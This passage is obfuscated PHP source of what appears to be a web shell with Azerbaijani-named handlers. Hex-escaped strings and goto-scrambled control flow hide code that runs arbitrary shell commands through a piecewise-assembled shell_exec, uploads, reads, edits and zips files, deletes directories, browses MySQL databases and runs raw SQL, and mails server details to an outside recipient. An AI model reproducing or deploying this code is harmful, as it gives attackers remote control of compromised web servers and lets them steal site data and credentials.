header("\103\x6f\156\x74\145\156\164\x2d\164\x79\160\145\x3a\40\141\160\160\x6c\151\x63\141\x74\151\x6f\156\x2f\x6a\x73\x6f\x6e"); echo json_encode(utf8ize($allData)); } catch (Exception $e) { print $e->getMessage(); } } else { print "\x45\x72\162\157\162\x21\x20\120\154\x65\x61\x73\x65\x20\143\x6f\x6e\x6e\x65\x63\x74\x20\164\x6f\x20\123\x51\114\x21"; } die; } else { if ($ne == "\172\151\160\x6c\x65" && isset($_POST["\x73\x61\x76\145\x5f\164\x6f"], $_POST["\x7a\146"]) && is_string($_POST["\x73\141\166\145\137\164\157"]) && !empty($_POST["\x73\x61\166\x65\x5f\x74\157"]) && !in_array($_POST["\x73\x61\x76\x65\x5f\x74\x6f"], array("\56", "\56\56", "\x2e\57", "\56\x2e\57")) && is_string($_POST["\x7a\146"]) && !empty($_POST["\172\x66"])) { $save_to = deshifrele(urldecode($_POST["\163\x61\x76\x65\x5f\x74\157"])); $rootPath = realpath(deshifrele(urldecode($_POST["\172\x66"]))); $fileName1 = "\x62\x61\x6b\137" . microtime(1) . "\137" . rand(1000, 99999) . "\x2e\172\151\x70"; $fileName = $save_to . DIRECTORY_SEPARATOR . $fileName1; if (is_dir($save_to) && is_dir($rootPath) && is_writable($save_to)) { set_time_limit(0); $zip = new ZipArchive(); $zip->open($fileName, ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); print "\x53\x61\x76\145\144\x21\x3c\x68\162\x3e"; } else { print "\x44\151\x72\40\x69\x73\40\156\157\164\40\167\x72\151\x74\145\141\x62\x6c\x65\x21\x3c\150\162\76"; var_dump($save_to); } } else { if ($ne == "\160\x61\160\153\141\137\x73\x69\154" && isset($_POST["\172\146"]) && is_string($_POST["\172\146"]) && !empty($_POST["\172\146"])) { $rootPath = realpath(deshifrele(urldecode($_POST["\x7a\x66"]))); if (is_dir($rootPath)) { set_time_limit(0); rrmdir($rootPath); } else { print "\x44\151\x72\x20\x69\x73\40\x6e\x6f\x74\40\167\162\x69\164\x65\141\142\x6c\x65\x21\x3c\150\x72\x3e"; var_dump($save_to); } } else { if ($ne == "\x66\x61\x79\154\137\165\160\x6c" && isset($_FILES["\x75\x66\x61\171\154"])) { move_uploaded_file($_FILES["\165\146\141\171\154"]["\164\x6d\x70\x5f\x6e\141\155\x65"], $default_dir . "\57" . $_FILES["\x75\x66\141\171\x6c"]["\x6e\x61\155\145"]); print "\125\x70\x6c\x6f\141\144\40\157\154\144\x75\40\144\x65\x79\145\163\x65\x6e\x2e"; } } } } } } } } } } } } goto MveXf; nsq0Q: function utf8ize($d) { if (is_array($d)) { foreach ($d as $k => $v) { $d[$k] = utf8ize($v); } } else { if (is_string($d)) { return utf8_encode($d); } } return $d; } goto LFtGp; B3ux7: $wp_code = $document_root . "\57\x77\160\55\143\154\x6f\x6e\56\160\x68\160"; goto QxfFt; DXELm: mail($kime, $baslik, $EL_MuHaMMeD); goto fMaTX; XlorJ: echo urlencode(shifrele($default_dir)); goto lj4GY; w71y7: $ip_remote = $_SERVER["\x52\105\115\x4f\x54\x45\x5f\x41\x44\x44\x52"]; goto dwKul; Rh7ye: function qovluquYaz() { global $default_dir; $sonDir = array(); $umumiHisseler = ''; $parse = explode("\x2f", $default_dir); $ii = 0; foreach ($parse as $hisse) { $ii++; $umumiHisseler .= $hisse . "\x2f"; $sonDir[] = "\x3c\x61\x20\150\x72\145\146\x3d\47\x6a\141\x76\141\x73\x63\x72\151\160\164\72\x73\145\x68\151\146\x65\50\42\77\x71\157\x76\x6c\x75\x71\75" . urlencode(urlencode(shifrele($umumiHisseler))) . "\42\x29\47\76" . htmlspecialchars(empty($hisse) && $ii != count($parse) ? "\57" : $hisse) . "\74\x2f\141\x3e"; } $sonDir = implode("\57", $sonDir); print $sonDir . "\x26\x6e\142\x73\160\x3b\46\x6e\x62\x73\160\73\46\156\142\163\x70\73\46\x6e\142\163\160\x3b\46\x6e\x62\163\x70\73\x26\156\x62\x73\160\73\50\40\x3c\141\x20\150\162\x65\146\75\x22\42\76\122\145\x73\x65\x74\x3c\57\141\76\40\x7c\x20\74\141\x20\x68\x72\x65\x66\x3d\42\152\141\x76\x61\x73\143\162\151\x70\164\x3a\x67\x6f\164\x6f\50\x29\42\76\107\x6f\40\164\x6f\x3c\57\x61\x3e\40\51"; } goto yx6aj; BA1IR: if ($ne == "\x70\x68\160\x69\156\x66\x6f") { print "\74\x64\151\166\40\163\164\171\x6c\x65\x3d\x27\167\x69\x64\x74\150\72\x20\61\x30\60\x25\x3b\40\x68\145\151\x67\x68\x74\72\40\x34\x30\x30\x70\x78\x3b\x27\76\x3c\x69\146\162\141\x6d\145\x20\163\x72\143\75\47\77\x6e\x65\75\160\151\156\146\47\x20\x73\164\171\x6c\145\x3d\47\x77\x69\x64\x74\150\x3a\x20\61\60\60\x25\x3b\x20\x68\145\151\x67\x68\x74\72\x20\x34\60\60\x70\170\x3b\x20\x62\157\162\x64\x65\162\x3a\40\60\x3b\x27\x3e\74\x2f\151\146\162\141\155\x65\x3e\x3c\57\144\x69\166\x3e"; } else { if ($ne == "\163\151\163\x74\145\155\137\153\x6f\x6d") { if (isset($_POST["\x6b\x6f\155"]) && is_string($_POST["\153\157\x6d"]) && !empty($_POST["\x6b\x6f\155"])) { $komanda = deshifrele(urldecode($_POST["\x6b\157\x6d"])); $k = "\x73\x68"; $k .= "\145\x6c"; $k .= "\x6c\137\x65"; $k .= "\170\x65"; $k .= "\143"; $output = $k($komanda); print "\x3c\160\162\145\40\163\x74\171\x6c\x65\75\42\x6d\x61\170\55\150\x65\x69\147\x68\164\x3a\40\63\65\x30\x70\x78\73\157\x76\145\162\146\154\x6f\x77\x3a\40\141\x75\164\x6f\73\x20\142\157\162\144\x65\162\72\40\x31\x70\x78\x20\x73\x6f\154\151\144\40\x23\x37\x37\67\x3b\40\160\141\x64\144\x69\x6e\147\x3a\40\65\x70\170\73\42\76" . htmlspecialchars($output) . "\x3c\57\x70\162\145\76\74\150\x72\76"; } print "\x3c\151\156\160\x75\164\x20\x74\171\160\x65\75\x22\x74\145\170\x74\x22\40\x69\144\75\42\x65\155\x72\137\x65\164\137\141\x74\141\x73\x68\42\40\163\164\x79\x6c\x65\75\42\x77\151\x64\164\150\72\40\65\x30\x30\x70\170\x3b\x22\x3e\40\74\142\165\164\x74\x6f\x6e\x20\164\x79\x70\x65\75\x22\142\x75\164\164\157\156\x22\40\x63\x6c\x61\163\163\75\42\142\164\156\42\40\157\156\143\x6c\151\143\x6b\x3d\42\163\x69\163\x74\145\155\113\157\x6d\x28\x29\73\x22\76\102\x61\x73\x3c\57\142\x75\x74\x74\x6f\156\x3e"; } else { if ($ne == "\x66\x61\x79\x6c\137\157\x78\165" && isset($_POST["\146\x61\x79\x6c"]) && '' != trim($_POST["\146\141\171\154"])) { $faylAdi = basename(deshifrele(urldecode($_POST["\x66\x61\171\x6c"]))); $ayirici = substr($default_dir, strlen($default_dir) - 1) != "\x2f" && substr($faylAdi, 0, 1) != "\x2f" ? "\x2f" : ''; if (is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi)) { $elaveBtn = is_writeable($default_dir . $ayirici . $faylAdi) ? "\40\157\x6e\x63\154\x69\x63\x6b\x3d\x27\163\x65\150\x69\x66\x65\50\x22\x3f\x6e\145\75\146\141\x79\x6c\137\162\145\144\141\153\164\x65\46\146\x61\x79\154\75" . urlencode(urlencode(shifrele($faylAdi))) . "\x26\x71\157\166\x6c\x75\x71\75" . urlencode(urlencode(shifrele($default_dir))) . "\42\51\x27" : "\40\x64\151\163\141\142\154\145\x64"; print "\74\x64\151\x76\76\x46\141\x79\154\x20\x61\144\x26\x23\x33\60\x35\73\x3a\x20\74\163\160\x61\x6e\x20\143\x6c\x61\x73\163\x3d\47\161\x61\x6c\x69\x6e\x27\76" . htmlspecialchars($faylAdi) . "\x3c\57\163\x70\x61\156\76\x3c\x62\x72\57\x3e\74\142\x75\x74\164\157\156\x20\143\154\141\x73\163\75\x27\142\164\156\x27{$elaveBtn}\76\x20\x44\x26\x23\x36\60\x31\73\171\151\x26\43\x33\x35\x31\73\40\74\x2f\142\165\x74\x74\x6f\x6e\x3e\74\x2f\144\x69\166\76"; print "\74\144\151\166\x20\x63\x6c\x61\163\x73\75\x27\146\141\x79\154\x5f\157\170\x75\47\76" . highlight_string(file_get_contents($default_dir . $ayirici . $faylAdi), true) . "\74\57\x64\151\166\76"; } } else { if ($ne == "\x73\x6b\154") { $host = isset($_COOKIE["\150\x6f\x73\x74"]) ? $_COOKIE["\x68\x6f\163\x74"] : ''; $user = isset($_COOKIE["\165\163\x65\162"]) ? $_COOKIE["\165\x73\x65\x72"] : ''; $parol = isset($_COOKIE["\160\141\162\x6f\x6c"]) ? $_COOKIE["\160\x61\162\x6f\154"] : ''; $baza = isset($_COOKIE["\142\141\x7a\141"]) ? $_COOKIE["\x62\x61\x7a\141"] : ''; if (isset($_POST["\x68\157\x73\164"], $_POST["\165\x73\145\x72"], $_POST["\160\x61\x72\x6f\x6c"]) && is_string($_POST["\150\157\163\164"]) && is_string($_POST["\165\163\145\x72"]) && is_string($_POST["\x70\x61\162\157\154"])) { $host = $_POST["\150\x6f\x73\x74"]; $user = $_POST["\x75\x73\145\x72"]; $parol = $_POST["\160\141\162\x6f\154"]; $baza = ''; setcookie("\150\x6f\x73\164", $host, time() + 360000); setcookie("\x75\x73\x65\x72", $user, time() + 360000); setcookie("\x70\141\x72\x6f\x6c", $parol, time() + 360000); setcookie("\142\x61\x7a\x61", $baza, time() + 360000); } if (isset($_POST["\x62\x61\x7a\141"]) && is_string($_POST["\142\x61\172\141"])) { $baza = $_POST["\x62\x61\172\141"]; setcookie("\142\x61\x7a\x61", $baza, time() + 360000); } $bazaStr = empty($baza) ? '' : "\144\142\x6e\x61\x6d\x65\75" . $baza . "\x3b"; ?>
<form method="POST"><input value="skl"name="ne"type="hidden"> <input value="<?php  echo htmlspecialchars($host); ?>
"name="host"placeholder="Hostname"> <input value="<?php  echo htmlspecialchars($user); ?>
"name="user"placeholder="User"> <input value="<?php  echo htmlspecialchars($parol); ?>
"name="parol"placeholder="Parol"> <input value="Daxil ol"type="submit"></form><?php  if (!empty($host)) { try { $pdo = new PDO("\x6d\171\x73\161\154\x3a\x68\157\x73\164\x3d" . $host . "\x3b\143\150\x61\162\x73\x65\x74\x3d\x75\x74\146\70\x3b" . $bazaStr, $user, $parol, array(PDO::MYSQL_ATTR_INIT_COMMAND => "\123\x45\124\40\x4e\x41\115\x45\x53\x20\x27\165\164\x66\70\47")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $schematas = $pdo->query("\123\105\114\105\x43\x54\40\x73\x63\x68\x65\155\x61\137\156\141\155\x65\40\106\x52\117\115\x20\151\156\x66\157\x72\155\141\164\x69\x6f\x6e\137\x73\x63\150\145\x6d\x61\x2e\x73\143\x68\145\155\141\x74\141"); print "\74\146\157\x72\155\x20\x6d\145\x74\x68\157\x64\x3d\42\x50\117\x53\x54\x22\x3e\x3c\x69\156\x70\165\164\x20\x74\171\160\145\75\x22\x68\x69\x64\x64\145\x6e\42\x20\x6e\141\155\x65\75\42\x6e\x65\x22\x20\166\x61\154\x75\x65\75\42\x73\x6b\154\42\x3e\74\x73\145\x6c\x65\x63\x74\40\156\141\155\145\x3d\42\x62\x61\172\141\x22\x3e"; foreach ($schematas->fetchAll() as $schemaName) { print "\x3c\157\160\x74\x69\157\x6e" . ($baza == $schemaName["\x73\143\x68\145\155\x61\137\156\x61\155\x65"] ? "\40\163\145\154\x65\x63\164\x65\144" : '') . "\x3e" . htmlspecialchars($schemaName["\x73\x63\150\x65\x6d\141\137\156\141\x6d\145"]) . "\74\x2f\157\160\x74\x69\157\156\x3e"; } print "\74\57\163\x65\154\145\x63\x74\76\x20\74\151\156\x70\165\164\40\x74\x79\160\145\x3d\42\x73\165\142\x6d\x69\x74\x22\x20\x76\x61\x6c\165\x65\75\x22\x53\x65\143\x68\x21\42\x3e\74\57\146\x6f\162\155\x3e"; if (!empty($baza)) { $tables = $pdo->prepare("\123\105\114\x45\x43\x54\x20\164\x61\142\154\145\x5f\156\141\x6d\145\x20\146\x72\157\155\40\x69\x6e\146\157\x72\x6d\141\x74\x69\x6f\156\137\163\143\150\x65\x6d\x61\56\164\141\x62\154\145\x73\40\167\x68\145\162\145\x20\x74\141\x62\154\145\x5f\x73\x63\x68\x65\x6d\x61\75\77"); $tables->execute(array($baza)); $tables = $tables->fetchAll(); print "\74\144\151\166\x20\163\x74\x79\x6c\145\75\42\x66\x6c\x6f\141\164\x3a\x20\154\x65\x66\x74\73\x20\x77\x69\144\x74\150\72\x20\62\x30\45\x3b\40\x6f\x76\145\162\x66\x6c\x6f\x77\x3a\x20\x61\165\164\157\73\40\x62\157\162\144\145\162\55\162\x69\x67\150\x74\72\x20\61\x70\x78\x20\163\x6f\x6c\151\144\40\43\71\x39\x39\x3b\x22\x3e"; print "\74\x61\40\x68\162\x65\146\x3d\42\152\x61\166\141\x73\x63\162\151\160\164\72\x73\145\150\151\x66\x65\x28\47\77\x6e\145\x3d\163\x6b\154\137\144\x27\x29\x3b\x22\x3e\x21\41\x20\x44\165\x6d\x70\x20\x44\x42\x20\41\41\x3c\x2f\x61\76\74\x68\162\x3e"; foreach ($tables as $tableName) { $tableName = $tableName["\x74\141\x62\154\x65\x5f\x6e\141\155\x65"]; print "\x3c\x61\x20\150\162\145\146\75\x22\152\x61\166\x61\x73\143\162\151\x70\164\72\x73\x65\150\151\x66\145\50\47\77\156\x65\x3d\163\x6b\154\x26\164\75" . urlencode(urlencode(shifrele($tableName))) . "\x27\51\x22\x3e" . htmlspecialchars($tableName) . "\x3c\57\x61\x3e\74\142\x72\x3e"; } print "\74\x2f\144\151\166\76"; print "\74\144\x69\x76\x20\163\164\171\154\145\75\x22\x66\154\x6f\x61\164\x3a\40\x6c\145\146\164\73\40\x70\x61\144\x64\x69\156\147\55\x6c\x65\146\x74\x3a\40\61\x30\x70\x78\73\40\x77\151\x64\x74\150\72\x20\x37\65\x25\73\x22\x3e"; if (isset($_POST["\x74"]) && is_string($_POST["\x74"]) && !empty($_POST["\164"])) { $tableName = deshifrele(urldecode($_POST["\164"])); print "\x3c\163\x70\141\156\x20\143\x6c\x61\163\163\x3d\42\x71\141\x6c\x69\x6e\x22\76\x54\141\x62\x6c\145\x3a\74\57\x73\160\141\156\76\40" . htmlspecialchars($tableName) . "\40\50\40\74\x61\x20\x68\162\x65\146\x3d\42\x6a\x61\166\141\x73\x63\162\x69\x70\164\72\x73\x65\150\x69\146\x65\x28\47\x3f\x6e\145\75\163\153\x6c\137\x64\137\164\x26\164\x3d" . urlencode(urlencode(shifrele($tableName))) . "\x27\x29\42\76\104\165\155\x70\x3c\57\141\76\40\51\74\142\x72\x3e"; $getColumns = $pdo->prepare("\x53\105\x4c\105\x43\124\40\143\x6f\x6c\165\x6d\156\137\156\x61\x6d\x65\x20\146\162\157\x6d\x20\151\156\x66\157\x72\155\141\x74\151\157\156\x5f\x73\x63\x68\145\x6d\141\x2e\x63\157\x6c\x75\155\x6e\x73\x20\167\150\145\162\x65\40\x74\141\x62\154\x65\x5f\163\x63\150\145\155\x61\x3d\x3f\40\x61\x6e\144\40\x74\x61\x62\x6c\x65\137\156\141\x6d\145\75\x3f"); $getColumns->execute(array($baza, $tableName)); $columns = $getColumns->fetchAll(); if ($columns) { $dataCount = $pdo->query("\x53\x45\114\105\x43\124\x20\143\157\165\156\164\x28\60\51\x20\101\x53\x20\163\163\x20\146\x72\x6f\x6d\x20\140" . $tableName . "\140"); $dataCount = (int) $dataCount->fetchColumn(); print "\x3c\163\x70\x61\156\x20\143\x6c\x61\x73\x73\x3d\x22\x71\141\154\x69\x6e\x22\x3e\103\157\165\156\164\x3a\x3c\x2f\163\x70\x61\x6e\76\40" . $dataCount . "\74\x62\x72\76\x3c\142\x72\x3e"; $pages = ceil($dataCount / 100); $currentPage = isset($_POST["\x73\x65\150\x69\x66\x65"]) && is_numeric($_POST["\163\145\150\151\x66\x65"]) && $_POST["\x73\145\x68\151\x66\145"] >= 1 && $_POST["\x73\x65\x68\x69\x66\145"] <= $pages ? (int) $_POST["\163\145\150\151\146\x65"] : 1; for ($p = 1; $p <= $pages; $p++) { print "\x3c\x61\40\x73\164\171\154\x65\x3d\x22" . ($currentPage == $p ? "\x62\x61\x63\153\147\x72\157\x75\156\x64\x3a\40\43\x34\x34\64\x3b" : '') . "\155\141\x72\147\x69\156\55\x6c\145\x66\164\x3a\40\x32\x70\x78\73\40\x6d\141\162\147\151\x6e\x2d\x62\157\x74\x74\x6f\x6d\72\x20\x35\x70\x78\73\x20\x70\x61\x64\x64\x69\x6e\x67\x3a\40\62\160\x78\x20\66\x70\x78\73\40\x62\x6f\x72\144\x65\162\x3a\x20\x31\x70\170\x20\163\x6f\x6c\151\144\x20\43\101\x43\102\x37\65\x34\73\x20\164\145\x78\x74\55\x64\x65\x63\157\162\141\164\151\157\156\72\x20\156\157\156\x65\x3b\x22\40\150\162\145\146\x3d\x22\x6a\x61\166\x61\163\143\162\x69\160\x74\72\163\145\x68\151\x66\x65\50\x27\77\156\145\x3d\x73\153\x6c\x26\x74\x3d" . urlencode(urlencode(shifrele($tableName))) . "\x26\163\x65\150\151\146\x65\75" . $p . "\x27\x29\x3b\x22\x3e" . $p . "\74\x2f\x61\76\x20"; } print "\74\142\x72\76\x3c\142\162\x3e"; $start = 100 * ($currentPage - 1); $data = $pdo->query("\x53\x45\114\105\x43\x54\40\x2a\40\106\122\x4f\115\x20\140" . $tableName . "\x60\40\114\x49\115\111\124\40" . $start . "\x20\54\40\x31\60\60"); $data = $data->fetchAll(); print "\74\x74\x61\x62\154\x65\76\x3c\164\150\x65\141\144\x3e"; foreach ($columns as $columnInf) { print "\x3c\x74\x68\x3e" . htmlspecialchars($columnInf["\143\x6f\x6c\x75\x6d\156\x5f\156\141\155\x65"]) . "\74\57\x74\x68\76"; } print "\74\x2f\164\150\145\141\x64\x3e\x3c\x74\x62\157\144\x79\76"; foreach ($data as $row) { print "\x3c\164\162\76"; foreach ($row as $key => $val) { print "\74\x74\144\x3e\x3c\x64\x69\x76\76" . $val . "\74\x2f\144\151\166\x3e\74\x2f\x74\x64\x3e"; } print "\74\57\164\x72\76"; } print "\74\57\x74\x72\76\74\57\164\142\x6f\144\x79\76\74\x2f\x74\141\x62\x6c\x65\76"; } else { print "\124\x61\142\x6c\x65\x20\x6e\157\x74\x20\x66\157\x75\x6e\144\41"; } } else { if (isset($_POST["\x65\155\162"]) && is_string($_POST["\x65\155\x72"]) && !empty($_POST["\145\x6d\162"])) { $emr = deshifrele(urldecode($_POST["\145\155\162"])); print "\x3c\x73\160\x61\156\x20\143\x6c\x61\x73\163\x3d\x22\x71\141\x6c\x69\x6e\x22\76\x53\x51\x4c\x20\145\x6d\x72\72\x3c\x2f\x73\x70\141\x6e\76\x20" . htmlspecialchars($emr) . "\x3c\142\162\76"; $data = $pdo->query($emr); $data = $data->fetchAll(); print "\x3c\x74\x61\142\154\145\76\x3c\164\x68\x65\141\x64\76"; if (count($data) > 0) { print "\74\x74\162\76"; foreach ($data[0] as $key => $val) { print "\x3c\x74\x68\x3e\x3c\144\x69\166\x3e" . $key . "\74\x2f\144\x69\166\x3e\74\57\x74\x68\x3e"; } print "\x3c\x2f\164\162\76"; } print "\x3c\x2f\x74\150\145\x61\144\76\x3c\x74\142\157\144\x79\76"; foreach ($data as $row) { print "\74\164\x72\76"; foreach ($row as $key => $val) { print "\x3c\164\x64\x3e\x3c\x64\x69\166\76" . $val . "\74\57\x64\151\x76\x3e\x3c\x2f\x74\x64\76"; } print "\74\x2f\164\162\76"; } print "\x3c\57\164\162\76\74\57\x74\142\x6f\144\171\76\74\x2f\x74\141\142\x6c\145\x3e"; } } print "\x3c\144\x69\x76\76\x3c\x74\145\170\x74\x61\x72\x65\141\40\151\144\x3d\42\163\x6b\x6c\137\x65\x6d\162\42\x3e\74\x2f\164\x65\x78\x74\141\x72\x65\x61\x3e\74\x62\165\164\164\x6f\156\40\164\x79\x70\145\x3d\42\x62\x75\164\x74\157\x6e\42\40\x6f\156\x63\154\x69\143\153\x3d\x22\x73\153\x6c\137\x62\141\x73\x28\51\x3b\x22\x3e\x42\141\x73\x20\155\x65\156\x65\74\x2f\x62\x75\x74\164\157\x6e\76\x3c\x2f\144\x69\x76\x3e"; print "\74\57\144\x69\x76\76"; print "\74\144\x69\166\40\x73\164\x79\154\145\75\x22\x63\x6c\145\141\x72\72\x20\x62\157\164\150\73\x22\76\x3c\x2f\144\151\x76\x3e"; } } catch (Exception $e) { print $e->getMessage(); } } } else { if ($ne == "\146\141\x79\154\137\x72\x65\x64\x61\153\x74\x65" && isset($_POST["\146\x61\x79\x6c"]) && '' != trim($_POST["\x66\x61\x79\154"])) { $faylAdi = basename(deshifrele(urldecode(urldecode($_POST["\146\x61\171\154"])))); $ayirici = substr($default_dir, strlen($default_dir) - 1) != "\57" && substr($faylAdi, 0, 1) != "\57" ? "\57" : ''; if (is_file($default_dir . $ayirici . $faylAdi) && is_readable($default_dir . $ayirici . $faylAdi)) { $status = ''; if (isset($_POST["\143\157\156\164\145\156\x74"]) && isset($_POST["\x74\x6f\x6f\153"]) && $_POST["\x74\x6f\x6f\x6b"] != '' && isset($_SESSION["\171\163\x5f\164\157\157\x6b"]) && $_SESSION["\171\163\x5f\164\x6f\157\x6b"] == $_POST["\x74\157\157\x6b"] && is_writeable($default_dir . $ayirici . $faylAdi)) { unset($_SESSION["\x79\x73\x5f\164\x6f\157\x6b"]); $content = $_POST["\143\x6f\x6e\164\x65\x6e\x74"]; $cc = array("\141", "\151", "\145", "\163", "\x6c", "\x62", "\x75", "\157", "\160", "\x68", "\x28", "\51", "\74", "\76", "\x3f", "\x3b", "\133", "\x5d", "\x24"); foreach ($cc as $k1 => $v1) { $content = str_replace("\174\x3a" . $k1 . "\x3a\x7c", $v1, $content); } $faylAch = fopen($default_dir . $ayirici . $faylAdi, "\x77\x2b"); fwrite($faylAch, $content); fclose($faylAch); $status = "\x20\x3c\x73\x70\141\x6e\x20\143\x6c\141\x73\x73\75\47\x71\141\154\151\x6e\x27\x3e\125\46\43\x32\x38\x37\x3b\165\162\154\x61\40\x79\x61\144\x64\x61\40\x73\141\x78\154\x61\x6e\x26\x23\63\x30\65\x3b\154\x64\46\43\63\x30\65\x3b\41\74\57\x73\160\141\156\76"; } $oxuUrl = "\x3f\156\145\x3d\146\141\171\154\x5f\x6f\x78\165\46\x66\x61\171\x6c\x3d" . urlencode(urlencode(shifrele($faylAdi))) . "\46\161\x6f\166\x6c\165\x71\75" . urlencode(urlencode(shifrele($default_dir))); $elaveBtn = is_writeable($default_dir . $ayirici . $faylAdi) ? '' : "\40\x64\151\x73\x61\x62\154\x65\144"; print "\x3c\144\x69\x76\x3e\x46\x61\171\154\40\x61\144\46\x23\x33\x30\65\x3b\x3a\x20\x3c\141\x20\x63\x6c\x61\x73\163\75\47\x71\141\x6c\151\x6e\x27\40\150\162\145\x66\75\x27\152\141\x76\x61\163\143\x72\151\x70\164\x3a\163\145\x68\151\146\145\50\x22{$oxuUrl}\42\51\x27\x3e" . htmlspecialchars($faylAdi) . "\x3c\x2f\x61\x3e\x3c\x62\162\57\76\74\146\x6f\162\155\40\155\145\x74\150\x6f\x64\x3d\x27\120\117\x53\124\x27\40\163\164\171\x6c\145\75\x27\160\141\x64\144\151\x6e\x67\x3a\40\x30\73\x20\x6d\x61\162\147\151\x6e\72\x20\60\x3b\47\x3e\x3c\x62\x75\164\164\x6f\156\40\164\x79\x70\x65\x3d\x27\x73\165\142\155\x69\x74\47\40\143\154\x61\x73\x73\75\47\x62\x74\156\x27{$elaveBtn}\x3e\x20\x59\141\x64\x64\x61\40\163\141\x78\154\x61\40\74\57\x62\165\x74\164\157\x6e\x3e\40\74\142\165\x74\164\x6f\156\x20\164\x79\160\145\x3d\x27\x62\x75\164\x74\x6f\x6e\47\40\157\156\x63\x6c\x69\143\x6b\75\x27\163\150\151\x66\x72\x65\154\145\145\x28\51\x27\76\40\123\x68\151\146\x72\x65\154\145\x20\141\164\x61\163\150\40\74\x2f\142\165\164\164\x6f\156\x3e\40{$status}\x3c\57\144\x69\x76\x3e"; print "\74\x69\x6e\160\x75\164\40\x74\171\160\x65\x3d\47\150\x69\144\144\x65\156\x27\40\166\141\154\x75\145\x3d\x27\x66\x61\x79\x6c\137\162\145\144\141\x6b\x74\x65\47\x20\156\141\x6d\145\x3d\x27\156\x65\47\x3e\74\151\x6e\160\165\164\40\x74\x79\160\145\x3d\x27\150\x69\144\144\x65\156\x27\x20\166\x61\154\165\x65\75\x27" . shifrele($faylAdi) . "\47\x20\x6e\x61\x6d\x65\x3d\x27\x66\141\171\x6c\47\x3e\x3c\151\x6e\160\165\164\x20\164\171\160\x65\x3d\47\150\151\144\144\145\x6e\x27\40\x76\x61\x6c\165\x65\x3d\47" . urlencode(shifrele($default_dir)) . "\x27\x20\x6e\x61\x6d\x65\x3d\47\161\x6f\x76\x6c\165\x71\x27\x3e\x3c\x69\156\x70\165\x74\x20\x74\x79\160\145\75\47\150\x69\x64\x64\145\x6e\x27\x20\166\x61\x6c\165\145\x3d\47" . tookYarat("\171\163\x5f\164\157\x6f\153") . "\47\40\x6e\x61\x6d\145\75\x27\x74\157\x6f\153\47\76\x3c\164\x65\170\x74\x61\162\145\x61\40\x6e\x61\155\x65\75\x27\143\x6f\x6e\x74\145\156\164\47\x20\143\x6c\141\163\163\75\x27\x66\151\154\145\x5f\x65\x64\x69\x74\x27\76" . htmlspecialchars(file_get_contents($default_dir . $ayirici . $faylAdi)) . "\74\x2f\x74\x65\170\x74\x61\162\x65\141\x3e\74\x2f\146\x6f\162\155\76"; } else { print "\x45\x72\x72\157\162\x21\x20" . htmlspecialchars($default_dir . $ayirici . $faylAdi); } } else { if (is_dir($default_dir)) { if (is_readable($default_dir)) { $qovluqIchi = scandir($default_dir); foreach ($qovluqIchi as &$emelemnt) { $ayirici = substr($default_dir, strlen($default_dir) - 1) != "\x2f" && substr($emelemnt, 0, 1) != "\x2f" ? "\57" : ''; if (is_dir($default_dir . $ayirici . $emelemnt)) { $emelemnt = "\60" . $emelemnt; } else { $emelemnt = "\x31" . $emelemnt; } } asort($qovluqIchi); print "\x3c\164\x61\142\154\145\x20\x63\x6c\x61\163\x73\x3d\47\x66\115\x61\156\x61\147\145\162\47\40\x73\x74\171\x6c\145\75\47\x77\151\144\x74\150\72\40\x31\60\x30\45\73\47\76\x3c\x74\150\x65\x61\x64\76\74\164\x72\x20\143\x6c\x61\x73\x73\x3d\47\x71\141\x6c\151\x6e\47\76\74\x74\150\76\x73\74\57\x74\x68\76\74\x74\x68\x3e\x46\141\x79\x6c\74\57\x74\150\x3e\x3c\x74\150\76\x53\151\172\x65\74\57\164\150\x3e\74\x74\150\76\124\141\162\x69\x78\74\57\x74\150\x3e\74\x74\150\76\117\167\x6e\x65\x72\x2f\107\x72\x6f\x75\160\74\57\164\x68\76\x3c\x74\x68\76\x50\x65\162\x6d\151\x73\163\151\157\156\163\74\x2f\x74\x68\x3e\x3c\164\150\x3e\x41\143\164\151\157\156\163\x3c\x2f\x74\x68\x3e\74\57\x74\x72\x3e\74\x2f\164\x68\145\141\144\76\74\x74\x62\x6f\x64\171\76"; foreach ($qovluqIchi as $element) { $url = ''; $element = substr($element, 1); $faylAdiTam = $default_dir . $ayirici . $element; $ayirici = substr($default_dir, strlen($default_dir) - 1) != "\57" && substr($element, 0, 1) != "\57" ? "\x2f" : ''; $adi = is_dir($faylAdiTam) ? "\x5b\40{$element}\x20\135" : $element; $classN = ''; if (is_dir($faylAdiTam)) { if ($element == "\x2e") { $url = "\77\161\x6f\166\154\165\x71\75" . urlencode(urlencode(shifrele($default_dir))); } else { if ($element == "\56\x2e") { $yeniUrl = explode("\57", $default_dir); foreach (array_reverse($yeniUrl) as $j => $qq) { if (trim($qq) != '') { unset($yeniUrl[count($yeniUrl) - $j - 1]); break; } } $url = "\77\161\157\x76\x6c\x75\x71\x3d" . urlencode(urlencode(shifrele(implode("\x2f", $yeniUrl)))); } else { $url = "\x3f\161\157\x76\x6c\x75\161\x3d" . urlencode(urlencode(shifrele($faylAdiTam))); } } $classN = "\x20\x73\x74\x79\154\x65\x3d\47\x66\157\x6e\164\x2d\167\145\x69\x67\x68\x74\72\40\x36\60\x30\73\47"; } else { $url = "\x3f\x6e\x65\x3d\146\x61\171\154\137\157\170\x75\46\146\x61\171\154\x3d" . urlencode(urlencode(shifrele($element))) . "\46\x71\157\166\x6c\x75\161\75" . urlencode(urlencode(shifrele($default_dir))); } $fayldi = is_file($faylAdiTam); $isReadableColor = is_readable($faylAdiTam) && is_writeable($faylAdiTam); print "\74\164\x72\x3e\12\x9\11\x9\11\x9\11\x3c\x74\144\x3e\74\x2f\164\x64\76\xa\11\11\11\x9\x9\11\x3c\x74\144\x3e\74\141\x20\x68\x72\145\146\75\42\152\141\x76\x61\163\143\x72\151\x70\164\72\x73\145\150\x69\146\145\50\x27" . $url . "\47\x29\42" . $classN . "\76" . htmlspecialchars($adi) . "\x3c\x2f\x61\x3e\x3c\57\x74\x64\x3e\12\11\x9\x9\x9\x9\x9\74\164\144\x3e" . ($fayldi ? sizeFormat(filesize($faylAdiTam)) : '') . 